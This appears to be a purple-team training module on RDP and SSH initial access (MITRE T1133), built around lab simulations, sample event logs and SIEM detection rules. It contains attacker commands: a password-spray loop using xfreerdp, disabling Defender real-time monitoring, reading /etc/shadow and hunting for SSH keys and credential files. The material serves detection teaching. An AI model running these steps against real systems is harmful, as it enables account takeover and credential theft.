In this section

PT2.5 External Remote Services (T1133)

10-15 hours · Module 2

1. Scene

It's 02:37 on a Tuesday. A Windows Security Event 4624 fires on SRV-NGE-DC01. LogonType 10. Remote Desktop. The account is admin.lab. The source IP is 198.51.100.88, not a Northgate Engineering address. The account authenticated successfully. No MFA was required because RDP to the domain controller doesn't go through Conditional Access, it uses direct Kerberos authentication against Active Directory.

The attacker obtained the domain admin credentials three weeks ago from a credential dump on a compromised workstation. They sat on the credentials, waited for the SOC to close the original incident, and now, at 02:37 on a Tuesday, during the shift handover when alert response is slowest, they RDP to the domain controller. From the inside, it looks identical to a legitimate remote administration session. From the outside, it's the beginning of a ransomware deployment.

2. Learning Objectives

By the end of this sub you will be able to:

  • Explain why attackers choose RDP, SSH, and VPN as initial access vectors, what each protocol gives the attacker that other techniques don't
  • Simulate RDP and SSH access with stolen credentials, observe the full telemetry chain (authentication, session creation, process execution, network events), and identify the fields that distinguish attacker sessions from legitimate ones
  • Write and tune detection rules for anomalous remote access, covering brute force, credential stuffing, off-hours access, and unknown-source patterns, across all three SIEMs

3. The Technique

T1133. External Remote Services

Adversaries use legitimate external-facing remote services. RDP, VPN, SSH, Citrix, VDI, to gain initial access with stolen credentials. T1133 has no sub-techniques; it covers any remote service accessible from outside the network.

Why attackers choose remote services

Remote services give the attacker something no other initial access technique provides: an interactive session on the target system. Phishing gives you credentials. Web exploitation gives you a shell. But RDP gives you a desktop, you can browse files, open applications, run tools with a GUI, and interact with the system exactly as a legitimate administrator would. This is why RDP is the #1 initial access vector for ransomware delivery (CrowdStrike Global Threat Report 2026, M-Trends 2026): the attacker needs an interactive session to stage the deployment, disable security tools, and execute the ransomware binary.

RDP specifically provides:

  • Interactive desktop session: the attacker sees the screen, uses the keyboard and mouse, runs GUI applications. No command-line limitations.
  • Built-in file transfer, clipboard redirection and drive mapping allow the attacker to copy tools and payloads to the target without a separate download mechanism.
  • Persistence without persistence: the attacker doesn't need to install malware or create a backdoor. As long as the credentials work, RDP is the backdoor. Password resets are the only revocation mechanism.
  • Lateral movement staging, once on one system via RDP, the attacker can RDP to other internal systems, chain-hopping through the network.
  • Encrypted channel. RDP uses TLS. The session content is encrypted end-to-end. Network monitoring tools see an encrypted connection to port 3389 but can't inspect the commands or data being transferred.

SSH provides the same for Linux:

  • Interactive shell, full command-line access with the user's permissions.
  • Key-based authentication, if the attacker steals an SSH private key, they can authenticate without knowing the password. Key-based auth doesn't produce the same telemetry as password auth.
  • Port forwarding and tunnelling. SSH can tunnel other protocols through the encrypted connection, allowing the attacker to reach internal services that aren't directly exposed.
  • SCP/SFTP file transfer, built-in file transfer for exfiltration or tool upload.

What happens during an RDP session: the protocol level

Understanding the protocol helps you understand the telemetry. Here's what happens when the attacker connects:

RDP Connection Sequence
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Step 1: TCP handshake to port 3389
        → Network telemetry: new connection from source IP

Step 2: TLS negotiation
        → Certificate exchange (self-signed on most servers)
        → RDP channel encrypted from this point

Step 3: NLA (Network Level Authentication)
        → CredSSP negotiation
        → Client sends credentials BEFORE the session starts
        → Kerberos (domain-joined source) or NTLM (non-domain source)
        → Security Event 4624 fires HERE on the target

Step 4: Session creation
        → New logon session created
        → User profile loaded (registry hive mounted)
        → Explorer.exe spawns as the user's shell
        → Security Event 4648 may fire (explicit credential logon)

Step 5: Interactive desktop
        → Attacker sees the desktop
        → Every process they launch runs under their user context
        → Sysmon Event 1 captures each process creation
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Key protocol detail. NTLM vs Kerberos: When the RDP source is a domain-joined machine, NLA uses Kerberos. When the source is NOT domain-joined (the attacker's machine, a personal laptop, a Linux VM with xfreerdp), NLA falls back to NTLM. This is a detection signal: an NTLM-authenticated RDP session to a domain controller means the source machine is outside the domain's Kerberos realm. Legitimate domain admins typically RDP from domain-joined workstations (Kerberos). Attackers typically RDP from non-domain machines (NTLM).

What happens during an SSH session: the protocol level

SSH Connection Sequence
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Step 1: TCP handshake to port 22
        → auditd net_connect event

Step 2: Protocol negotiation + key exchange
        → Encrypted channel established

Step 3: Authentication
        → Password auth: user enters password
           → auth.log / secure: "Accepted password for user from IP"
        → Key-based auth: client presents private key
           → auth.log: "Accepted publickey for user from IP"
        → Difference matters: key-based auth has no password
          to brute-force, but the key can be stolen (T1552.004)

Step 4: Shell session
        → /bin/bash or configured shell spawns
        → auditd exec_cmd events capture every command
        → utmp/wtmp records the login session
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
What you already know

You've seen Event 4624 in investigations. You know what LogonType 10 means. You've probably investigated an RDP brute-force incident. This sub goes deeper: you understand why attackers choose RDP and SSH, what happens at the protocol level during the connection, the difference between NTLM and Kerberos authentication in RDP (and why it matters for detection), and the complete telemetry chain from network connection to interactive session.

Lab boundary. All RDP and SSH connections are within the lab network (10.0.0.0/24). Do not RDP or SSH to production systems or external hosts as part of this exercise.
Account boundary. Use the lab test accounts only. Do not test with production domain admin credentials.
Network boundary. The brute-force simulation generates multiple failed logon events. Ensure your lab network is isolated, if your host machine forwards syslog to a production SIEM, the brute-force events will create real alerts.
Data boundary. Screenshots of RDP sessions in the lab may contain hostnames and account names from your test environment. Do not share them publicly.

5. The Attack

Four variants covering the two most common remote services: RDP (Windows) and SSH (Linux). Each variant produces different telemetry and requires different detection logic.

Why these four variants matter

Real attackers don't just "RDP to a server." They choose their approach based on what they have:

  • Variant 1 (RDP, internal source): the attacker is already on a compromised workstation and pivots to a higher-value target. The source is internal. This is lateral movement disguised as initial access: the distinction matters because internal RDP is harder to detect than external RDP.
  • Variant 2 (RDP, external source via Linux/non-domain): the attacker connects from outside the network using stolen credentials. The NTLM fallback is the detection signal.
  • Variant 3 (RDP brute force): the attacker doesn't have credentials yet. They're spraying passwords against the RDP endpoint hoping to find a weak account. This produces Event 4625 failures before the eventual Event 4624 success.
  • Variant 4 (SSH, external source): the attacker targets Linux infrastructure with stolen passwords or SSH keys. The telemetry is in auth.log and auditd, completely separate from Windows event logs.

Variant 1. RDP from a domain-joined endpoint (internal, Kerberos)

This simulates an attacker who has already compromised t.ashworth's workstation and is using it to RDP to the domain controller with stolen admin credentials.

# On PT-WIN-ENDPOINT, logged in as YOURLAB\t.ashworth
# The attacker uses the compromised workstation to pivot to the DC
# This uses Kerberos because the source is domain-joined
mstsc /v:10.0.0.1

When the RDP credential dialog appears:

Username: YOURLAB\admin.lab
Password: AdminPurple2026!

What the attacker gains: a full interactive desktop on the domain controller. From here they can:

# What an attacker typically does in the first 60 seconds of an RDP session:

# 1. Confirm identity and privileges
whoami /all
# Output shows Domain Admins membership

# 2. Enumerate domain controllers
nltest /dclist:psyche.yourlab.local

# 3. Check for other logged-in users (operational security)
query user
# If another admin is logged in, the attacker may disconnect to avoid detection

# 4. Disable security tools if possible
Set-MpPreference -DisableRealtimeMonitoring $true

# 5. Begin credential harvesting
# (This is where T1133 leads to T1003. Credential Dumping)

This variant produces an Event 4624 with AuthenticationPackageName: Kerberos because the source (PT-WIN-ENDPOINT) is domain-joined. Detection is harder because Kerberos is the expected authentication method for domain-joined machines.

Variant 2. RDP from a non-domain machine (external, NTLM)

This simulates an attacker connecting from their own infrastructure, not from a compromised internal machine.

# On PT-LINUX01, install an RDP client if not already installed
sudo apt install -y freerdp2-x11

# Connect to the DC via RDP
# The /cert:ignore flag accepts the self-signed RDP certificate
xfreerdp /v:10.0.0.1 /u:YOURLAB\\admin.lab /p:AdminPurple2026! /cert:ignore /size:1280x720

Why this variant is different: PT-LINUX01 is not domain-joined. It can't obtain a Kerberos ticket for the YOURLAB domain. The RDP client falls back to NTLM authentication. This produces an Event 4624 with AuthenticationPackageName: NTLM, which is the detection signal. Domain admins should be RDPing from domain-joined machines (Kerberos). NTLM from a non-domain source means the RDP client is outside the domain's trust boundary.

What the attacker does differently from a Linux RDP client:

# xfreerdp supports command execution without an interactive desktop
# The attacker can run a single command and disconnect:
xfreerdp /v:10.0.0.1 /u:YOURLAB\\admin.lab /p:AdminPurple2026! \
    /cert:ignore /app:"cmd.exe" /app-cmd:"/c whoami > C:\Temp\test.txt"

This runs cmd.exe on the target, writes the output to a file, and disconnects: no persistent desktop session. The Event 4624 still fires, but the session is ephemeral. Some detection rules that look for "long-duration RDP sessions" miss this pattern.

Variant 3. RDP brute force (password spray)

Before the attacker has valid credentials, they need to find them. Password spraying against RDP is common because RDP endpoints exposed to the internet don't always have account lockout configured.

# On PT-LINUX01, simulate a password spray against the DC
# Try common passwords against multiple accounts

# Against admin.lab
for pass in "Password1!" "Summer2026!" "Welcome1!" "AdminPurple2026!"; do
    echo "Trying admin.lab / $pass"
    xfreerdp /v:10.0.0.1 /u:YOURLAB\\admin.lab /p:"$pass" /cert:ignore 2>/dev/null &
    sleep 2
    kill %1 2>/dev/null
done

# Against t.ashworth
for pass in "Password1!" "Summer2026!" "Welcome1!" "Purple2026!"; do
    echo "Trying t.ashworth / $pass"
    xfreerdp /v:10.0.0.1 /u:YOURLAB\\t.ashworth /p:"$pass" /cert:ignore 2>/dev/null &
    sleep 2
    kill %1 2>/dev/null
done

This produces a series of Event 4625 (failed logon) events, each with LogonType: 10 and SubStatus: 0xC000006A (bad password). The last attempt for each account succeeds, producing a 4624 immediately after the 4625 series. The brute-force detection rule catches the failure pattern; the anomalous-source rule catches the eventual success.

Why password spraying works against RDP:

  • Many organizations expose RDP to the internet (or via a VPN that doesn't require MFA)
  • Default Windows security doesn't lock accounts after failed RDP attempts unless Group Policy enforces lockout
  • Attackers spread attempts across many accounts (1 attempt per account per hour) to stay below lockout thresholds
  • Credential lists from prior breaches provide valid usernames: the attacker only needs to find one account with a weak password

Variant 4. SSH with stolen credentials (Linux target)

# On PT-WIN-ENDPOINT or your host. SSH to the Linux VM
# This simulates an attacker with stolen SSH credentials
ssh labuser@10.0.0.20
# Enter password: LabUser2026!

Once connected, the attacker's typical initial actions:

# What an attacker does in the first 60 seconds of an SSH session:

# 1. Confirm identity
whoami && id
# Output: labuser, uid=1001

# 2. Check sudo access
sudo -l
# Can this user run anything as root?

# 3. Read the shadow file (if sudo allows)
sudo cat /etc/shadow 2>/dev/null
# If this works, the attacker has root-equivalent access

# 4. Check for other users
w
# Who else is logged in?

# 5. Check for SSH keys (for pivoting to other hosts)
find /home -name "id_rsa" -o -name "id_ed25519" 2>/dev/null
# Stolen SSH keys = T1552.004 (Unsecured Credentials: Private Keys)

# 6. Check for credential files
find /home -name ".env" -o -name "*.conf" -o -name "credentials*" 2>/dev/null

SSH with key-based authentication (no password needed):

# If the attacker stole an SSH private key instead of a password:
ssh -i stolen_key.pem labuser@10.0.0.20

# The auth.log difference:
# Password auth: "Accepted password for labuser from 10.0.0.10 port 49823 ssh2"
# Key auth:      "Accepted publickey for labuser from 10.0.0.10 port 49823 ssh2"
# Key auth is harder to detect because there's no password to brute-force

6. What Just Fired

RDP. Windows Security Event 4624

Variant 1. Kerberos authentication (domain-joined source):

{
  "EventID": 4624,
  "TimeCreated": "2026-04-28T02:37:15Z",
  "LogonType": 10,
  "TargetUserName": "admin.lab",
  "TargetDomainName": "YOURLAB",
  "IpAddress": "10.0.0.10",
  "IpPort": "49823",
  "LogonProcessName": "User32",
  "AuthenticationPackageName": "Kerberos",
  "WorkstationName": "PT-WIN-ENDPOINT",
  "LogonGuid": "{abc123-def456-...}",
  "SubjectUserName": "t.ashworth",
  "SubjectDomainName": "YOURLAB",
  "ElevatedToken": "%%1842"
}

Variant 2. NTLM authentication (non-domain source):

{
  "EventID": 4624,
  "TimeCreated": "2026-04-28T02:37:15Z",
  "LogonType": 10,
  "TargetUserName": "admin.lab",
  "TargetDomainName": "YOURLAB",
  "IpAddress": "10.0.0.20",
  "IpPort": "51234",
  "LogonProcessName": "User32",
  "AuthenticationPackageName": "NTLM",
  "WorkstationName": "PT-LINUX01",
  "LmPackageName": "NTLM V2",
  "SubjectUserName": "-",
  "SubjectDomainName": "-"
}

Key differences between the two events, what to look for:

Field Comparison. Kerberos vs NTLM RDP Authentication
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Field                    Variant 1 (Internal)    Variant 2 (External)
───────────────────────  ──────────────────────  ────────────────────
AuthenticationPackage    Kerberos                NTLM
WorkstationName          PT-WIN-ENDPOINT         PT-LINUX01
SubjectUserName          t.ashworth              - (empty)
SubjectDomainName        YOURLAB                 - (empty)
LmPackageName            (not present)           NTLM V2
IpAddress                10.0.0.10 (known)       10.0.0.20 (different)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Detection value: NTLM + empty SubjectUserName + unknown IP
= high-confidence attacker indicator for RDP to a DC

The SubjectUserName is empty in the NTLM variant because the source machine isn't domain-joined, there's no domain context to populate. This field is often overlooked in detection rules but it's one of the strongest signals for non-domain RDP.

RDP. Windows Security Event 4625 (brute force)

{
  "EventID": 4625,
  "TimeCreated": "2026-04-28T02:35:01Z",
  "LogonType": 10,
  "TargetUserName": "admin.lab",
  "TargetDomainName": "YOURLAB",
  "IpAddress": "10.0.0.20",
  "FailureReason": "%%2313",
  "Status": "0xC000006D",
  "SubStatus": "0xC000006A"
}

Status code breakdown (these are important for classification):

Status/SubStatus Codes. What They Mean
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Code              Meaning                     Attack Type
────────────────  ────────────────────────── ──────────────
0xC000006D        Logon failure               Generic fail
  + 0xC000006A    Bad password                Brute force
  + 0xC0000064    User does not exist         Enumeration
  + 0xC0000072    Account disabled            Targeting old accounts
  + 0xC0000234    Account locked out          Lockout reached
0xC0000071        Password expired            Stale credentials
0xC000006E        Account restriction         Time/workstation restriction
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
The SubStatus distinguishes brute force (bad password) from
account enumeration (user doesn't exist). Both produce 4625
but the attacker's strategy is different.

SSH, auth.log entries

Password authentication:

Apr 28 02:41:15 pt-linux01 sshd[5891]: Accepted password for labuser from 10.0.0.10 port 49823 ssh2
Apr 28 02:41:15 pt-linux01 sshd[5891]: pam_unix(sshd:session): session opened for user labuser(uid=1001) by (uid=0)

Key-based authentication:

Apr 28 02:41:15 pt-linux01 sshd[5891]: Accepted publickey for labuser from 10.0.0.10 port 49823 ssh2: RSA SHA256:abc123...
Apr 28 02:41:15 pt-linux01 sshd[5891]: pam_unix(sshd:session): session opened for user labuser(uid=1001) by (uid=0)

Failed authentication (brute force):

Apr 28 02:39:01 pt-linux01 sshd[5889]: Failed password for labuser from 10.0.0.20 port 51234 ssh2
Apr 28 02:39:03 pt-linux01 sshd[5889]: Failed password for labuser from 10.0.0.20 port 51234 ssh2
Apr 28 02:39:05 pt-linux01 sshd[5889]: Failed password for labuser from 10.0.0.20 port 51234 ssh2
Apr 28 02:39:07 pt-linux01 sshd[5889]: Connection closed by authenticating user labuser 10.0.0.20 port 51234 [preauth]

Failed authentication, invalid user (account enumeration):

Apr 28 02:40:01 pt-linux01 sshd[5890]: Invalid user administrator from 10.0.0.20 port 51235
Apr 28 02:40:01 pt-linux01 sshd[5890]: Failed password for invalid user administrator from 10.0.0.20 port 51235 ssh2

The "Invalid user" prefix distinguishes account enumeration from password brute force: the attacker is trying usernames that don't exist, mapping which accounts are valid before targeting them with passwords.

7. The Detection

Two detection rules: one for anomalous RDP access, one for brute-force/spray attempts. Plus a complementary SSH rule for Linux.

title: RDP Logon with NTLM from Unknown Source
id: 3c4d5e6f-7a8b-9c0d-1e2f-3a4b5c6d7e8f
status: stable
description: |
    Detects successful RDP logons using NTLM authentication
    from source IPs not in the admin watchlist. NTLM indicates
    the source is not domain-joined — consistent with an
    attacker's machine or a compromised external host.
logsource:
    product: windows
    service: security
detection:
    selection:
        EventID: 4624
        LogonType: 10
        AuthenticationPackageName: 'NTLM'
    filter_known:
        IpAddress|startswith:
            - '10.0.0.'
            - '192.168.1.'
    condition: selection and not filter_known
level: high
tags:
    - attack.initial_access
    - attack.t1133
falsepositives:
    - Admin using a personal (non-domain) laptop for emergency access
    - IT contractor with a non-domain machine
    - VDI environment where thin clients aren't domain-joined
// Sentinel KQL — RDP with NTLM from Unknown Source
let KnownAdminSources = _GetWatchlist('RDPAdminSources')
    | project IPAddress;
SecurityEvent
| where TimeGenerated > ago(1h)
| where EventID == 4624
| where LogonType == 10
| where AuthenticationPackageName == "NTLM"
| where IpAddress !in (KnownAdminSources)
| where IpAddress != "-" and IpAddress != "127.0.0.1"
| project TimeGenerated, Computer, Account,
          IpAddress, WorkstationName,
          AuthenticationPackageName,
          LmPackageName,
          SubjectUserName, SubjectDomainName
| extend IsOffHours = iff(
    hourofday(TimeGenerated) < 7
    or hourofday(TimeGenerated) > 19,
    "Yes", "No")
| extend SubjectEmpty = iff(
    SubjectUserName == "-" or SubjectUserName == "",
    "Yes", "No")
// Defender XDR — RDP with NTLM from Unknown Source
IdentityLogonEvents
| where Timestamp > ago(1h)
| where ActionType == "LogonSuccess"
| where LogonType == "RemoteInteractive"
| where Protocol == "NTLM"
| where IPAddress !startswith "10.0.0."
    and IPAddress !startswith "192.168."
| project Timestamp, DeviceName, AccountUpn,
          IPAddress, Protocol, LogonType
index=windows sourcetype="WinEventLog:Security"
    EventCode=4624 LogonType=10 AuthenticationPackageName=NTLM
| where NOT cidrmatch("10.0.0.0/24", IpAddress)
| where IpAddress != "-" AND IpAddress != "127.0.0.1"
| eval hour = strftime(_time, "%H")
| eval off_hours = if(hour < 7 OR hour > 19, "yes", "no")
| eval subject_empty = if(SubjectUserName="-" OR SubjectUserName="", "yes", "no")
| table _time, Computer, Account_Name, IpAddress,
        Workstation_Name, AuthenticationPackageName,
        off_hours, subject_empty
| sort - _time

Note the upgrade from the previous version of this rule: the detection now specifically targets NTLM authentication, not just unknown source IPs. This is a higher-confidence detection because NTLM indicates the source machine is outside the domain's Kerberos realm, which is almost always an attacker's machine or an unmanaged device.

Complementary rule. RDP brute force detection:

title: RDP Brute Force - Multiple Failed Logons
id: 4d5e6f7a-8b9c-0d1e-2f3a-4b5c6d7e8f01
status: stable
logsource:
    product: windows
    service: security
detection:
    selection:
        EventID: 4625
        LogonType: 10
    timeframe: 10m
    condition: selection | count(IpAddress) by IpAddress > 5
level: high
tags:
    - attack.initial_access
    - attack.t1133
    - attack.credential_access
    - attack.t1110.001
// Sentinel — RDP Brute Force (5+ failures in 10 min)
SecurityEvent
| where TimeGenerated > ago(1h)
| where EventID == 4625
| where LogonType == 10
| summarize
    FailCount = count(),
    Accounts = make_set(TargetUserName),
    AccountCount = dcount(TargetUserName),
    FirstAttempt = min(TimeGenerated),
    LastAttempt = max(TimeGenerated),
    StatusCodes = make_set(SubStatus)
  by IpAddress, bin(TimeGenerated, 10m)
| where FailCount >= 5
| extend SprayDetected = iff(AccountCount > 1, "Yes - Password Spray", "No - Single Account Brute Force")
| project FirstAttempt, LastAttempt, IpAddress,
          FailCount, AccountCount, Accounts,
          SprayDetected, StatusCodes
index=windows sourcetype="WinEventLog:Security"
    EventCode=4625 LogonType=10
| bin _time span=10m
| stats count as fail_count,
        dc(Account_Name) as account_count,
        values(Account_Name) as accounts,
        min(_time) as first_attempt,
        max(_time) as last_attempt
  by IpAddress, _time
| where fail_count >= 5
| eval spray = if(account_count > 1, "Password Spray", "Brute Force")
| table first_attempt, last_attempt, IpAddress,
        fail_count, account_count, accounts, spray

The brute-force rule distinguishes between single-account brute force (one account, many passwords) and password spraying (many accounts, few passwords per account) using dcount(TargetUserName). This distinction matters for response: a spray targeting 50 accounts suggests the attacker has a username list, while brute force against one account suggests they know which account to target.

Known evasions:

  • VPN exit in the victim's network range: the attacker routes through a VPN that exits within the organization's IP range. NTLM still fires (the VPN client isn't domain-joined), but the IP appears internal. Counter: the NTLM + empty SubjectUserName combination catches this regardless of IP.
  • Slow brute force (1 attempt per account per hour): stays below the 5-in-10-minutes threshold. Counter: lower the threshold for service accounts and admin accounts (2 failures in 60 minutes from the same IP), or track cumulative failures per IP across 24 hours.
  • RDP gateway with pre-authentication: the attacker authenticates through an RD Gateway which proxies the connection. The source IP on the Event 4624 is the gateway's IP, not the attacker's. Counter: correlate with the RD Gateway's own authentication logs (Event 6272 in NPS, or the gateway's own connection logs).
  • Credential stuffing with valid credentials on the first attempt: no failed logons, no brute force pattern. Counter: the anomalous-source NTLM rule catches this. NTLM from an unknown source with an empty SubjectUserName.

8. The Tuning Loop

False-positive sources:

IT administrators working from non-domain laptops. Some admins have personal laptops they use for emergency access. The RDP client on a non-domain laptop uses NTLM. Fix: maintain an admin-source watchlist with both IP and workstation name. Better fix: require admins to use domain-joined PAWs (Privileged Access Workstations) for remote administration, this eliminates the NTLM pattern entirely and improves security posture.

// Tuning, watchlist-based admin source exclusion
let AdminSources = _GetWatchlist('RDPAdminSources')
    | project IPAddress;
SecurityEvent
| where EventID == 4624 and LogonType == 10
| where AuthenticationPackageName == "NTLM"
| where IpAddress !in (AdminSources)

VDI thin clients. Thin clients in conference rooms or manufacturing floors may not be domain-joined. Their RDP connections to virtual desktops use NTLM. Fix: register thin clients in the admin-source watchlist by IP range, or domain-join them (most modern thin clients support Entra join or hybrid join).

IT contractors with personal machines. New contractors connecting via authorized RDP during onboarding. Fix: add their IPs to the watchlist with expiry dates matching the contract end date. Better fix: provide domain-joined loaner laptops for contractors.

Baseline FP rate: 2–10 per day depending on remote access policies. Environments with strict PAW requirements see 0–2 per day. After watchlist tuning, the remaining alerts are genuine anomalies.

Continuous rhythm: review the admin-source watchlist monthly. Contractor entries expire. Home IPs change. New admin hires need their sources registered. The brute-force threshold should be reviewed quarterly against the actual failure rate, if legitimate admin typos average 2 per day, the threshold should be above that baseline.

9. Decision Exercise

Your NTLM RDP detection fires:

Event:        4624 (Successful Logon)
LogonType:    10 (RDP)
Account:      YOURLAB\admin.lab
Source IP:    203.0.113.55 (not in watchlist)
Time:         22:14 (Tuesday evening)
Workstation:  DESKTOP-UNKNOWN
Auth Package: NTLM (not Kerberos)
Subject:      - / - (empty)

A domain admin account authenticated via RDP at 22:14 from an unknown, non-domain machine using NTLM.

Which assessment is correct?

A. Environmental FP: an admin working late from home. Update the watchlist with this IP.

B. Suspicious: four anomalies converge: unknown source IP, off-hours, unknown workstation name, and NTLM authentication (non-domain source). The empty SubjectUserName confirms the source isn't domain-joined. Investigate before adding to any watchlist.

C. Benign TP: the admin account authenticated successfully, so the credentials are valid.

D. Rule-logic FP: the off-hours criteria is too strict. Many admins work evenings.

Reveal model answer

B is correct. Four indicators together: (1) IP not in the admin watchlist, (2) 22:14 is off-hours, (3) workstation name doesn't match any known admin machine, and (4) NTLM authentication with empty SubjectUserName. The NTLM indicator is particularly significant, when a domain-joined machine RDPs to a domain controller, it uses Kerberos. NTLM fallback means the source machine can't contact the KDC, which means the source is either not domain-joined (an attacker's machine) or outside the network. Never add an unknown IP to the admin watchlist without verifying the person behind it. Contact the admin.lab account holder and confirm whether they were RDPing at 22:14 from that IP and machine.

10. Try-it

Step 1. RDP from the endpoint (Kerberos):

# On PT-WIN-ENDPOINT as YOURLAB\t.ashworth
mstsc /v:10.0.0.1
# Log in as YOURLAB\admin.lab, note the Kerberos auth

Run whoami /all and query user in the RDP session to generate additional Sysmon events. Disconnect after 30 seconds.

Step 2. RDP from the Linux VM (NTLM):

# On PT-LINUX01
xfreerdp /v:10.0.0.1 /u:YOURLAB\\admin.lab /p:AdminPurple2026! /cert:ignore /size:1280x720

Run whoami in the session, then disconnect.

Step 3. Brute force simulation:

# On PT-LINUX01 — 6 failed attempts across 2 accounts
for user in admin.lab t.ashworth; do
    for pass in "Wrong1!" "Wrong2!" "Wrong3!"; do
        echo "Trying $user / $pass"
        timeout 5 xfreerdp /v:10.0.0.1 /u:YOURLAB\\$user /p:"$pass" /cert:ignore 2>/dev/null
        sleep 1
    done
done

Step 4. SSH to the Linux VM:

# From PT-WIN-ENDPOINT (PowerShell) or your host
ssh labuser@10.0.0.20
# Password: LabUser2026!
# Run: whoami && id && sudo -l
# Exit: exit

Step 5. Check all three SIEMs:

Run both detection rules (anomalous NTLM + brute force) from the tabs above. Record:

T1133. External Remote Services
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Variant                   Sentinel  XDR     Secondary
RDP Kerberos (endpoint)   [ ]       [ ]     [ ]
RDP NTLM (Linux VM)       [ ]       [ ]     [ ]
RDP brute force (6 fails) [ ]       [ ]     [ ]
SSH password (Linux VM)   [ ]       [ ]     [ ]
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
NTLM detection fired:        [ ]
Brute force detection fired:  [ ]
Spray vs brute classified:    [ ]

Also check the SSH auth.log on PT-LINUX01:

sudo grep "sshd" /var/log/auth.log | tail -10

Troubleshooting:

  • RDP connection refused: enable RDP on PT-DC01: Set-ItemProperty "HKLM:\System\CurrentControlSet\Control\Terminal Server" -Name fDenyTSConnections -Value 0, then Enable-NetFirewallRule -DisplayGroup "Remote Desktop"
  • xfreerdp not found: sudo apt install -y freerdp2-x11
  • No Event 4624 after successful RDP: check the advanced audit policy on the DC: auditpol /get /subcategory:"Logon", should show "Success and Failure"
  • SSH connection refused: check sshd is running: sudo systemctl status ssh. If not running: sudo systemctl start ssh

11. Reference Card

T1133. External Remote Services. Reference Card
Why Attackers Choose Remote Services
RDP: interactive desktop, built-in file transfer, persistence via credentials
SSH: interactive shell, key-based auth, port forwarding/tunnelling
Both: encrypted channel, no malware needed, looks like legitimate access
RDP is the #1 initial access vector for ransomware delivery
Key Detection Fields
RDP Event 4624: LogonType=10, AuthPackage (NTLM vs Kerberos), SubjectUser (empty=non-domain)
RDP Event 4625: SubStatus (0xC000006A=bad pw, 0xC0000064=bad user, 0xC0000234=lockout)
SSH auth.log: "Accepted password" vs "Accepted publickey" vs "Failed password" vs "Invalid user"
Top 3 Tuning Notes
1. Target NTLM specifically (not all RDP). Kerberos is expected from domain machines
2. Brute force: distinguish spray (many accounts) from single-account brute (one account) via dcount
3. Baseline: 2–10 FPs/day → 0–2 with PAW enforcement + admin watchlist
Real-World Impact
RDP compromise is the initial access vector in 70%+ of ransomware incidents (CrowdStrike 2026). Median time from RDP access to ransomware deployment is 4–8 hours. The attacker's first action after RDP access is typically credential dumping (T1003), which is why Modules 2 and 7 are tightly linked in the kill chain.